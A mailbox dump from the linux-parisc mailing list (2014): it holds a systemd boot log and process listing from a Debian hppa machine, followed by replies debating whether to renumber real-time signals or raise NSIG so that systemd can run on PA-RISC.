[   35.944000] systemd[1]: Starting Paths.
[  OK  ] Reached target Paths.
[   36.040000] systemd[1]: Reached target Paths.
[   36.092000] systemd[1]: Expecting device dev-disk-by\x2duuid-e9c4c389\x2d6b1f\x2d47c4\x2dbc47\x2d30cb05380d54.device...
         Expecting device dev-disk-by\x2duuid-e9c4c389\x2d6b1...80d54.device...
[   36.316000] systemd[1]: Expecting device dev-disk-by\x2duuid-c393bfeb\x2d0c0a\x2d4b7d\x2da529\x2d21580d653d23.device...
         Expecting device dev-disk-by\x2duuid-c393bfeb\x2d0c0...53d23.device...
[   36.536000] systemd[1]: Starting Root Slice.
[  OK  ] Created slice Root Slice.
[   36.712000] systemd[1]: Created slice Root Slice.
[   36.768000] systemd[1]: Starting Delayed Shutdown Socket.
[  OK  ] Listening on Delayed Shutdown Socket.
[   36.900000] systemd[1]: Listening on Delayed Shutdown Socket.
[   36.968000] systemd[1]: Starting /dev/initctl Compatibility Named Pipe.
[  OK  ] Listening on /dev/initctl Compatibility Named Pipe.
[   37.132000] systemd[1]: Listening on /dev/initctl Compatibility Named Pipe.
[   37.216000] systemd[1]: Starting Journal Socket (/dev/log).
[  OK  ] Listening on Journal Socket (/dev/log).
[   37.352000] systemd[1]: Listening on Journal Socket (/dev/log).
[   37.424000] systemd[1]: Starting Syslog Socket.
[  OK  ] Listening on Syslog Socket.
[   37.536000] systemd[1]: Listening on Syslog Socket.
[   37.596000] systemd[1]: Starting udev Control Socket.
[  OK  ] Listening on udev Control Socket.
[   37.716000] systemd[1]: Listening on udev Control Socket.
[   37.780000] systemd[1]: Starting udev Kernel Socket.
[  OK  ] Listening on udev Kernel Socket.
[   37.900000] systemd[1]: Listening on udev Kernel Socket.
[   37.964000] systemd[1]: Starting User and Session Slice.
[  OK  ] Created slice User and Session Slice.
[   38.096000] systemd[1]: Created slice User and Session Slice.
[   38.168000] systemd[1]: Starting Journal Socket.
[  OK  ] Listening on Journal Socket.
[   38.280000] systemd[1]: Listening on Journal Socket.
[   38.340000] systemd[1]: Starting System Slice.
[  OK  ] Created slice System Slice.
[   38.448000] systemd[1]: Created slice System Slice.
[   38.508000] systemd[1]: Starting File System Check on Root Device...
         Starting File System Check on Root Device...
[   38.652000] systemd[1]: Starting system-systemd\x2dfsck.slice.
[  OK  ] Created slice system-systemd\x2dfsck.slice.
[   38.800000] systemd[1]: Created slice system-systemd\x2dfsck.slice.
[   38.876000] systemd[1]: Starting udev Coldplug all Devices...
         Startin[   38.956000] systemd[1]: Mounting POSIX Message Queue File System...
g udev Coldplug all Devices...
         Mounting POSIX Message Queue File System...
[   39.412000] systemd[1]: Started Set Up Additional Binary Formats.
[   39.492000] systemd[1]: Starting Create list of required static device nodes for the current kernel...
         Startin[   39.620000] systemd[1]: Mounting Debug File System...
g Create list of[   39.692000] systemd[1]: Mounted Huge Pages File System.
 required static device nodes...rrent kernel...
         Mounti[   39.812000] systemd[1]: Starting Load Kernel Modules...
ng Debug File Sy[   39.900000] systemd[1]: Starting system-getty.slice.
stem...
       [   39.972000] systemd[1]: Created slice system-getty.slice.
  Starting Load [   40.048000] systemd[1]: Starting system-serial\x2dgetty.slice.
Kernel Modules..[   40.140000] systemd[1]: Created slice system-serial\x2dgetty.slice.
.
[  OK    40.228000] systemd[1]: Starting Journal Service...
[0m] Created slice system-getty.[   40.320000] systemd[1]: Started Journal Service.                                                                                     
slice.                                                                                                                                                                  
[  OK  ] Created slice system-serial\x2dgetty.slice.
         Starting Journal Service...
[  OK  ] Started Journal Service.
[  OK  ] Reached target Slices.
[  OK  ] Mounted Debug File System.
[  OK  ] Mounted POSIX Message Queue File System.
[  OK  ] Started udev Coldplug all Devices.
[  OK  ] Started Create list of required static device nodes ...current kernel.
         Starting Create Static Device Nodes in /dev...
[  OK  ] Started Load Kernel Modules.
         Starting Apply Kernel Variables...
[  OK  ] Started Apply Kernel Variables.
[   41.580000] systemd-fsck[142]: /dev/sdb5: clean, 41430/1058720 files, 525252/4227840 blocks
[  OK  ] Started Create Static Device Nodes in /dev.
[  OK  ] Started File System Check on Root Device.
         Starting Remount Root and Kernel File Systems...
         Starting udev Kernel Device Manager...
[   41.996000] EXT4-fs (sdb5): re-mounted. Opts: errors=remount-ro
[  OK  ] Started Remount Root and Kerne[   42.128000] systemd-udevd[165]: starting version 215
l File Systems.
[  OK  ] Started udev Kernel Device Manager.
         Starting Copy rules generated while the root was ro...
         Starting Load/Save Random Seed...
[  OK  ] Reached target Local File Systems (Pre).
[  OK  ] Started Copy rules generated while the root was ro.
[  OK  ] Started Load/Save Random Seed.
[  OK  ] Found device /dev/ttyS0.
[  OK  ] Found device ST118273WC 6.
         Activating swap /dev/disk/by-uuid/e9c4c389-6b1f-47c4...30cb05380d54...
[  OK  ] Found device S[   44.560000] Adding 708604k swap on /dev/sdb6.  Priority:-1 extents:1 across:708604k FS
T118273WC 2.
[  OK  ] Activated swap /dev/disk/by-uuid/e9c4c389-6b1f-47c4-bc47-30cb05380d54.
[  OK  ] Created slice system-ifup.slice.
[  OK  ] Reached target Swap.
         Starting File System Check on /dev/disk/by-uuid/c393...21580d653d23...
[  OK  ] Reached target Sound Card.
[   45.408000] systemd-fsck[201]: /dev/sdb2 was not cleanly unmounted, check forced.
[   49.760000] systemd-fsck[201]: /dev/sdb2: 27/63488 files (11.1% non-contiguous), 94612/126976 blocks
[  OK  ] Started File System Check on /dev/disk/by-uuid/c393b...9-21580d653d23.
         Mounting /boot...
[   50.144000] EXT4-fs (sdb2): mounting ext2 file system using the ext4 subsystem
[   50.244000] EXT4-fs (sdb2): mounted filesystem without journal. Opts: (null)
[  OK  ] Mounted /boot.
[  OK  ] Reached target Local File Systems.
         Starting Create Volatile Files and Directories...
[  OK  ] Reached target Remote File Systems.
         Starting Trigger Flushing of Journal to Persistent Storage...
         Starting LSB: Raise network interfaces....
[  OK  ] Started Create Volatile Files and Directories.
[   50.884000] systemd-journald[152]: Received request to flush runtime journal from PID 1
         Starting Update UTMP about System Boot/Shutdown...
[  OK  ] Started Trigger Flushing of Journal to Persistent Storage.
[  OK  ] Started Update UTMP about System Boot/Shutdown.
[  OK  ] Started LSB: Raise network interfaces..
         Starting ifup for eth0...
[  OK  ] Started ifup for eth0.
[  OK  ] Reached target Network.
[  OK  ] Reached target Network is Online.
         Starting LSB: RPC portmapper replacement...
[  OK  ] Started LSB: RPC portmapper replacement.
[  OK  ] Reached target RPC Port Mapper.
         Starting LSB: NFS support files common to client and server...
[   54.572000] RPC: Registered named UNIX socket transport module.
[   54.640000] RPC: Registered udp transport module.
[   54.700000] RPC: Registered tcp transport module.
[   54.756000] RPC: Registered tcp NFSv4.1 backchannel transport module.
[   54.948000] FS-Cache: Loaded
[   55.152000] FS-Cache: Netfs 'nfs' registered for caching
[   55.508000] Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
[   55.752000] net eth0: Setting full-duplex based on MII#1 link partner capability of c1e1
[  OK  ] Started LSB: NFS support files common to client and server.
[  OK  ] Reached target System Initialization.
[  OK  ] Listening on D-Bus System Message Bus Socket.
[  OK  ] Reached target Sockets.
[  OK  ] Reached target Timers.
[  OK  ] Reached target Basic System.
         Starting Deferred execution scheduler...
[  OK  ] Started Deferred execution scheduler.
         Starting Regular background program processing daemon...
[  OK  ] Started Regular background program processing daemon.
         Starting System Logging Service...
         Starting OpenBSD Secure Shell server...
[  OK  ] Started OpenBSD Secure Shell server.
         Starting /etc/rc.local Compatibility...
         Starting Permit User Sessions...
         Starting Login Service...
         Starting D-Bus System Message Bus...
[  OK  ] Started D-Bus System Message Bus.
         Starting LSB: exim Mail Transport Agent...
[  OK  ] Started System Logging Service.
[  OK  ] Started /etc/rc.local Compatibility.
[  OK  ] Started Permit User Sessions.
         Starting Getty on tty1...
[  OK  ] Started Getty on tty1.
         Starting Serial Getty on ttyS0...
[  OK  ] Started Serial Getty on ttyS0.
[  OK  ] Reached target Login Prompts.
[  OK  ] Started Login Service.
[  OK  ] Started LSB: exim Mail Transport Agent.
[  OK  ] Reached target Multi-User System.
[  OK  ] Reached target Graphical Interface.
         Starting Update UTMP about System Runlevel Changes...
[  OK  ] Started Update UTMP about System Runlevel Changes.

Debian GNU/Linux jessie/sid ls3017 ttyS0

ls3017 login: root
Password: 
Last login: Mon Oct  6 08:58:55 EDT 2014 from ls3530 on pts/1
Linux ls3017 3.16-2-parisc64-smp #1 SMP Debian 3.16.3-2 (2014-10-07) parisc64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ps -efroot@ls3017:~# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0 16 15:00 ?        00:00:18 /sbin/init
root         2     0  0 15:00 ?        00:00:00 [kthreadd]
root         3     2  0 15:00 ?        00:00:00 [ksoftirqd/0]
root         4     2  0 15:00 ?        00:00:00 [kworker/0:0]
root         5     2  0 15:00 ?        00:00:00 [kworker/0:0H]
root         6     2  0 15:00 ?        00:00:00 [kworker/u16:0]
root         7     2  0 15:00 ?        00:00:00 [kworker/u17:0]
root         8     2  1 15:00 ?        00:00:01 [rcu_sched]
root         9     2  0 15:00 ?        00:00:00 [rcu_bh]
root        10     2  0 15:00 ?        00:00:00 [migration/0]
root        11     2  0 15:00 ?        00:00:00 [khelper]
root        12     2  0 15:00 ?        00:00:00 [kdevtmpfs]
root        13     2  0 15:00 ?        00:00:00 [netns]
root        14     2  0 15:00 ?        00:00:00 [migration/1]
root        15     2  0 15:00 ?        00:00:00 [ksoftirqd/1]
root        16     2  0 15:00 ?        00:00:00 [kworker/1:0]
root        17     2  0 15:00 ?        00:00:00 [kworker/1:0H]
root        18     2  0 15:00 ?        00:00:00 [kworker/0:1]
root        19     2  0 15:00 ?        00:00:00 [kworker/1:1]
root        20     2  0 15:00 ?        00:00:00 [kpowerswd]
root        21     2  0 15:00 ?        00:00:00 [khungtaskd]
root        22     2  0 15:00 ?        00:00:00 [writeback]
root        23     2  0 15:00 ?        00:00:00 [ksmd]
root        24     2  0 15:00 ?        00:00:00 [crypto]
root        25     2  0 15:00 ?        00:00:00 [kintegrityd]
root        26     2  0 15:00 ?        00:00:00 [bioset]
root        27     2  0 15:00 ?        00:00:00 [kblockd]
root        28     2  0 15:00 ?        00:00:00 [kswapd0]
root        29     2  0 15:00 ?        00:00:00 [fsnotify_mark]
root        35     2  0 15:00 ?        00:00:00 [kthrotld]
root        36     2  0 15:00 ?        00:00:00 [led_wq]
root        37     2  0 15:00 ?        00:00:00 [kworker/u16:1]
root        38     2  0 15:00 ?        00:00:00 [ipv6_addrconf]
root        39     2  0 15:00 ?        00:00:00 [deferwq]
root        76     2  0 15:00 ?        00:00:00 [khubd]
root        77     2  0 15:00 ?        00:00:00 [ata_sff]
root        78     2  0 15:00 ?        00:00:00 [scsi_eh_0]
root        79     2  0 15:00 ?        00:00:00 [scsi_tmf_0]
root        80     2  0 15:00 ?        00:00:00 [kworker/u16:2]
root        81     2  0 15:00 ?        00:00:00 [scsi_eh_1]
root        82     2  0 15:00 ?        00:00:00 [scsi_tmf_1]
root        83     2  0 15:00 ?        00:00:00 [kworker/1:1H]
root        84     2  3 15:00 ?        00:00:03 [kworker/u16:3]
root        85     2  0 15:00 ?        00:00:00 [scsi_eh_2]
root        86     2  0 15:00 ?        00:00:00 [scsi_tmf_2]
root        87     2  0 15:00 ?        00:00:00 [kworker/u16:4]
root        88     2  0 15:00 ?        00:00:00 [scsi_eh_3]
root        89     2  0 15:00 ?        00:00:00 [scsi_tmf_3]
root        90     2  0 15:00 ?        00:00:00 [kworker/u16:5]
root        92     2  0 15:00 ?        00:00:00 [kworker/u16:6]
root        96     2  0 15:00 ?        00:00:00 [kworker/0:2]
root        99     2  0 15:00 ?        00:00:00 [kworker/0:1H]
root       101     2  0 15:00 ?        00:00:00 [kworker/1:2]
root       120     2  0 15:00 ?        00:00:00 [jbd2/sdb5-8]
root       121     2  0 15:00 ?        00:00:00 [ext4-rsv-conver]
root       152     1  2 15:00 ?        00:00:01 /lib/systemd/systemd-journald
root       153     2  0 15:00 ?        00:00:00 [kauditd]
root       165     1  1 15:00 ?        00:00:00 /lib/systemd/systemd-udevd
root       177     2  0 15:00 ?        00:00:00 [kworker/1:3]
root       207     2  0 15:00 ?        00:00:00 [ext4-rsv-conver]
root       282     1  0 15:00 ?        00:00:00 /sbin/rpcbind -w
root       288     1  0 15:00 ?        00:00:00 dhclient -v -pf /run/dhclient.et
statd      312     1  0 15:00 ?        00:00:00 /sbin/rpc.statd
root       317     2  0 15:00 ?        00:00:00 [rpciod]
root       320     2  0 15:01 ?        00:00:00 [nfsiod]
root       327     1  0 15:01 ?        00:00:00 /usr/sbin/rpc.idmapd
daemon     328     1  0 15:01 ?        00:00:00 /usr/sbin/atd -f
root       329     1  0 15:01 ?        00:00:00 /usr/sbin/cron -f
root       330     1  0 15:01 ?        00:00:00 /usr/sbin/rsyslogd -n
root       331     1  0 15:01 ?        00:00:00 /usr/sbin/sshd -D
root       335     1  0 15:01 ?        00:00:00 /lib/systemd/systemd-logind
message+   336     1  0 15:01 ?        00:00:00 /usr/bin/dbus-daemon --system --
root       357     1  0 15:01 tty1     00:00:00 /sbin/agetty --noclear tty1 linu
root       370     1  0 15:01 ttyS0    00:00:00 /bin/login --     
Debian-+   598     1  0 15:01 ?        00:00:00 /usr/sbin/exim4 -bd -q30m
root       604     1 17 15:01 ?        00:00:00 /lib/systemd/systemd --user
root       606   604  0 15:01 ?        00:00:00 (sd-pam)  
root       608   370 29 15:01 ttyS0    00:00:00 -bash
root       614   608  0 15:01 ttyS0    00:00:00 ps -ef


--------------060109070908020206020206--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Tue, 7 Oct 2014 22:50:09 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <20141007225009.3c74e147@marga.jer-c2.orkz.net>
References: <5434418F.1020407@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1412715041 5468 80.91.229.3 (7 Oct 2014 20:50:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 20:50:41 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 07 22:50:34 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XbbiL-0003Bz-SP
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Oct 2014 22:50:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755310AbaJGUuY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Oct 2014 16:50:24 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:55384 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751988AbaJGUuW convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Oct 2014 16:50:22 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 92AE433FCB7;
	Tue,  7 Oct 2014 20:50:15 +0000 (UTC)
In-Reply-To: <5434418F.1020407@gmx.de>
X-Mailer: Claws Mail 3.10.1 (GTK+ 2.24.24; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6136>

On Tue, 07 Oct 2014 21:39:59 +0200
Helge Deller <deller@gmx.de> wrote:

> As already discussed here:
> http://article.gmane.org/gmane.linux.ports.parisc/5278
> we don't have enough RT signals for systemd, which requests
> "SIGRTMIN+29" which is > 64 (SIGRTMAX). Since systemd gets more and
> more important (e.g. KDE now seems to require systemd) we should try
> to find a solution.

We do have enough RT signals, as the patch attached to [1] demonstrates.
I haven't tried that patch with recent versions of systemd, though.
Unless systemd has started using even more signals or introduced even
more gaps for no reason at all.

> Additionally, given the fact that we have very little users and live
> in debian/gentoo unstable

That's Debian unstable and Gentoo /stable/ thank you very much. :)

> would IMHO justify such an incompatible change.

Gentoo dropped support for GNOME and KDE years ago (except for some of
the base libraries such as glib and gtk+ of course). The point being
that these fat window managers run utterly slow (exactly as they do on
much more recent x86 hardware).

Interest in supporting systemd therefore never went beyond the
purely academic interest displayed in [1]. Luckily, Gentoo already uses
an alternative, modern init system. Gentoo/HPPA has little need for
systemd, I would guess.

> The other option would be to increase NSIG in kernel from 64 to 128
> or higher.

Sounds like a lot of work.

> What's your opinion on this?

>From my perspective it looks like a lot of work for very little gain.
Gentoo has no need for systemd so all these changes would mean
upgrading kernel and libc requires a lot more attention, and systemd
could equally well compact the ill-chosen RT signal range.


Regards,
     jer



[1] https://bugs.gentoo.org/show_bug.cgi?id=482214
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Tue, 7 Oct 2014 17:03:30 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <CAE2sS1jy4sgs7xSev5-NnVqOqb8nUvQVGnc=JZt=tc-1HPdSgQ@mail.gmail.com>
References: <5434418F.1020407@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1412715819 15014 80.91.229.3 (7 Oct 2014 21:03:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 21:03:39 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Jeroen Roovers <jer@gentoo.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 07 23:03:33 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xbbuu-0000p0-IX
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Oct 2014 23:03:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755267AbaJGVDc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Oct 2014 17:03:32 -0400
Original-Received: from mail-ig0-f180.google.com ([209.85.213.180]:61305 "EHLO
	mail-ig0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755256AbaJGVDb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Oct 2014 17:03:31 -0400
Original-Received: by mail-ig0-f180.google.com with SMTP id uq10so5870076igb.1
        for <linux-parisc@vger.kernel.org>; Tue, 07 Oct 2014 14:03:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=503dURQByED7Sw8yoyAX3T0UFEisTTmngDRikTl4oSU=;
        b=rg2HcIgYaiKxNjcfzXAO1KGpoOnZZyIHxEiseGrryqTNgtUmytEF9Dkgx2P8FBp/2d
         TvmehLRNfkN/qu8wOxP23AWNLZeOOI/drFCZjI3c2GZfd3qEP9nUd9qYhNSwpalhXJma
         H/kLvxPQvvk3fyNK0bMWvKl/XRl2UqxPSvNDY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=503dURQByED7Sw8yoyAX3T0UFEisTTmngDRikTl4oSU=;
        b=Fh+YWLU8AWX4TMcCTCvGpuyR8ZOCMMIfStytJ7HT5M5WBKPDbCrtUfcuX330i/jKQt
         dJLtWkNgj5n+gpxZ4gxs/CNKqaIUV3nxqtYeEbcKvhTjTB2nGHnTycb5VK/bOmzknn/U
         c2JtbRNt0zkJwqpwxJ5f3EwGkm2AfFkPBAODWlbSQviFyWxjUVShAbrIgx04mTrjNN0K
         VJihr7MR6u/Ud2f9Fu8fPMUbHznyf7Fd0OzB+cEBvWeox6D33ENWNGMUof9MbWkWVc2K
         UUr0KePF+ptXM++eR/QDUR55pQeOM3Ipl3CwYa6hSlqgy7dObtOYNwOEDwtUfOePS0m0
         errA==
X-Gm-Message-State: ALoCoQnhpE6U2OpMSD5Jz1+c3ah+Yx9cgXkPrfj2WLPpoehGCO60FcuB95k5bMwo+LrW/ydPkTtQ
X-Received: by 10.50.43.233 with SMTP id z9mr35511270igl.41.1412715810673;
 Tue, 07 Oct 2014 14:03:30 -0700 (PDT)
Original-Received: by 10.107.31.137 with HTTP; Tue, 7 Oct 2014 14:03:30 -0700 (PDT)
X-Originating-IP: [67.70.96.186]
In-Reply-To: <5434418F.1020407@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6137
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6137>

On Tue, Oct 7, 2014 at 3:39 PM, Helge Deller <deller@gmx.de> wrote:
> I've just had a successful boot on hppa with systemd :-)
> The bootlog is attached.

Awesome.

> The attached patches to Linux kernel and glibc shuffles around some signals,
> so that we end up with
> #define __SIGRTMIN      32
> instead of
> #define __SIGRTMIN      37

This is the right way to go.

Yes it's an ABI event, but these are fundamentally niche architectures
for which we can't ask everyone else to adjust.

> I do know that this changes the ABI and introduces a binary incompatibly.
> Nevertheless, my testing with the new kernel and glibc didn't showed any
> obvious problems, which means that I could install either of those and the
> system didn't showed problems even after reboots.

That's because the signals you moved/removed aren't used by anything :-)

> Additionally, given the fact that we have very little users and live in
> debian/gentoo unstable would IMHO justify such an incompatible change. Even
> HP-UX support was dropped a few months back...
> And we could easily rebuild packages like strace, gdb and such...

That's right.

> The other option would be to increase NSIG in kernel from 64 to 128 or
> higher.

No, that's a very very bad idea because it has consequences on
sigset_t and that would really really immediately break userspace.

> I did tried to come up with kernel patches for this now for a few weeks, but
> ended up with the recognition, that this would require to duplicate nearly
> all of Linux kernel signal handling and which would most likely introduce
> new bugs.

Agreed.

> What's your opinion on this?

Flawless hack. Very well reorganized. Your removal of SIGLOST, and
reorganizing is the best I could come up with also.

The only thing I will do different is make SIGEMT equal to SIGABRT,
that way we preserve the semantics of what this operation means. Linux
doesn't use SIGEMT, but it keeps hppa defining this for use by other
software that might want similar semantics. You can catch SIGABRT and
operate on it, so it's one way forward.

If you agree I'll checkin to glibc master.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd on hppa and number of free RT signals
Date: Tue, 7 Oct 2014 17:07:14 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <CAE2sS1h7WhgwtoWY2kUrxP5LAXDmXgFZ2uVtB8bTJFfj9vfA6w@mail.gmail.com>
References: <5434418F.1020407@gmx.de>
	<20141007225009.3c74e147@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1412716043 17531 80.91.229.3 (7 Oct 2014 21:07:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 21:07:23 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 07 23:07:17 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XbbyX-0002Nl-1Y
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Oct 2014 23:07:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751213AbaJGVHP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Oct 2014 17:07:15 -0400
Original-Received: from mail-ig0-f182.google.com ([209.85.213.182]:46516 "EHLO
	mail-ig0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751125AbaJGVHO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Oct 2014 17:07:14 -0400
Original-Received: by mail-ig0-f182.google.com with SMTP id hn18so5878550igb.3
        for <linux-parisc@vger.kernel.org>; Tue, 07 Oct 2014 14:07:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=4tJw5x0bsmJOJp6cEmbW1HEs9wfNtzsikSm4yoEGdTM=;
        b=aMWNYPheOTvgjXtGLkrSTy4rru1KyTpIVuT9sE/HmwuGsqlsRY/yvMD5GYEOvZVsry
         Os8Cp8XAQCwWIJ7Jses2DCntrf7JPt2UbU38Nn6fI9oxmrALWWZIt7fE5Enebr0VjUjs
         Y1MtOPkb3ZvacHVASD82pKFAy7csjAzE6gvzM=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=4tJw5x0bsmJOJp6cEmbW1HEs9wfNtzsikSm4yoEGdTM=;
        b=KqK503Bzacv/RpjduVeetnyHT4FzQGnKCBo6xWMmEz+6Uv/7z59HltmbnTvegeN4TE
         zDqwatloFlFhzoku4wk7qufarrML/PhqYU+KFPZBWflbsJUfJwZljOgHmSNVMruvJuSu
         K/VOJ65dw08BdbxKquNmvZP6TzfKWM1dridWRBYnaDoxlJmZpLKXjAOqkFgnbjNKTr7R
         ByRAZZOe/PDEMlDLtDIPO3RwavVNiP1HaksYRFrv+wBIr54TpfDXTSghKoRB4eD+P9vN
         +5o7JrbXC22TtY5gHcdyCPKtE1xaE7+l5w4PnbZEUwIJvpiVaFiSxWjwVSs4o57WnIZa
         CP/Q==
X-Gm-Message-State: ALoCoQlQ73jZAKi7SpZI8sHIIRiG0eQVVCHPCAZj669sEbiwsOeJWrjyQw7cxCSzqC177oFlPvIW
X-Received: by 10.50.61.243 with SMTP id t19mr9646799igr.41.1412716034179;
 Tue, 07 Oct 2014 14:07:14 -0700 (PDT)
Original-Received: by 10.107.31.137 with HTTP; Tue, 7 Oct 2014 14:07:14 -0700 (PDT)
X-Originating-IP: [67.70.96.186]
In-Reply-To: <20141007225009.3c74e147@marga.jer-c2.orkz.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6138
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6138>

On Tue, Oct 7, 2014 at 4:50 PM, Jeroen Roovers <jer@gentoo.org> wrote:
>> What's your opinion on this?
>
> From my perspective it looks like a lot of work for very little gain.
> Gentoo has no need for systemd so all these changes would mean
> upgrading kernel and libc requires a lot more attention, and systemd
> could equally well compact the ill-chosen RT signal range.

Helge's changes bring hppa inline with other machines with little to
no impact to userspace.

That is a win from a maintenance perspective IMO.

